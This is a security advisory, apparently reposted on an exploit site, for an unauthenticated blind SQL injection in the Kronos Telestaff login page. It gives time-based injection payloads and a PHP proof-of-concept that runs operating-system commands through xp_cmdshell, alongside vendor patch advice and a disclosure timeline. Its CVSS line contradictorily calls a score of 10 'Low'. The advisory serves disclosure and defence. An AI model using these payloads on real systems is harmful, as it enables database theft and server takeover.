Author

Goran Tuzovic

Risk

[

Security Risk High

]

0day-ID

0day-ID-27899

Category

web applications

Date add

06-06-2017

Platform

asp

Software: Kronos Telestaff Web Application
Version: < 2.92EU29
Homepage: http://www.kronos.com/
CERT VU: VU#958480
CVE: (Pending)
CVSS: 10 (Low; AV:N/AC:L/Au:N/C:C/I:C/A:C)
CWE: CWE-89   
Vulnerable Component: Login page 
 
Description
================
The login form is vulnerable to blind SQL injection by an unauthenticated user.
 
 
Vulnerabilities
================
The vulnerability is due to the unsanitized POST parameter 'user' in login page:
URL: [BASE URL OF Telestaff Application]/servlet/ServletController.asp
POSTDATA=device=stdbrowser&action=doLogin&user=&pwd=&code=
 
The exploit requires a valid "code" in the post body.  However in almost all instances we found on the internet, the "code" POST variable was hard-coded into the page.  Furthermore, the "code" POST variable is very often a 4 digit number - and can be easily discovered in ~5000 requests. 
 
  
Proof of concept
================
PoC 1 - extract data from database
example extract benign data e.g. 
Injection Point:  [BASE URL OF Telestaff Application]/servlet/ServletController.asp
POST data: 
device=stdbrowser&action=doLogin&user=')if(DB_NAME()='TELESTAFF')waitfor%20delay'00%3a00%3a12';--&pwd=&code=<valid code>
 
compare timing with
 
device=stdbrowser&action=doLogin&user=')if(DB_NAME()<>'TELESTAFF')waitfor%20delay'00%3a00%3a12';--&pwd=&code=<valid code>
 
 
PoC 2 - Execute Code Remotely
example inject benign code e.g. ping a remote systems
 
<?php
    $cmd_to_execute = strToHex("ping -n 1 receive_ping_host");  // insert you own host here to detect dns lookup and/or ping; or insert other command 
    $code=XXXX // insert valid code
    $target_url= // insert login page url of target system i.e. example.com/webstaff-2.0/servlet/ServletController.asp?device=stdbrowser&action=doLogin&selfhosted=true
    $payload="DECLARE @lphda VARCHAR(280);SET @lphda=".$cmd_to_execute.";EXEC master..xp_cmdshell @lphda";
    $payload=str_replace(" ","%20",$payload);
    $postdata="device=stdbrowser&action=doLogin&user=')".$payload."---&pwd=test&code=".$code;
 
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    curl_exec($ch);
 
    function strToHex($string){
      $hex = '';
      for ($i=0; $i<strlen($string); $i++){
        $ord = ord($string[$i]);
        $hexCode = dechex($ord);
        $hex .= substr('0'.$hexCode, -2);
      }
      return "0x".strToUpper($hex);
    }
 
     
Affected Systems
================
From Vendor:
Customers running TeleStaff version 2.x with Self Hosted Web Access, those customers who host their own web access, are affected and Kronos recommends that you upgrade to TeleStaff 2.92EU29 or Workforce TeleStaff.
 
 
Solution
================
From Vendor:
 
Though there is no further action needed after the installation of the update there are a couple of best practices that we suggest to further secure the production environment.
    1. We recommend that the Web Staff Middle Tier be locked down to only be accessed from the source addresses.  For Self-Hosted Web Access this would be the Internet facing IIS server hosting the Self Hosted WebStaff module. For customers using WebStaff (www.telestaff.net) and PSM (psm.telestaff.net and m.telestaff.net) those are the IP addresses of the Kronos servers.
    2. Customers, once configured, should remove the viewDatabases.asp script to avoid accidental information leakage to unauthorized users.
 
     
Timeline
================
2015-12-18: Discovered
2016-01-04: Contacted Vendor
2016-01-11: Report sent to vendor 
2016-01-20: Received acknowledgement of vulnerable from security contact info at vendor
2016-01-20: Vendor is remediating the issue 
2016-10-18: Vendor issues patch
2017-06-01: Public disclosure
  
 
Discovered by
================
Chris Anastasio 0x616e6173746173696f [ at ] illumant.com
Mark F. Snodgrass  0x736e6f646772617373 [ at ] illumant.com
 
 
About Illumant
================
Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks.  Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant.  For more information, visit https://illumant.com/

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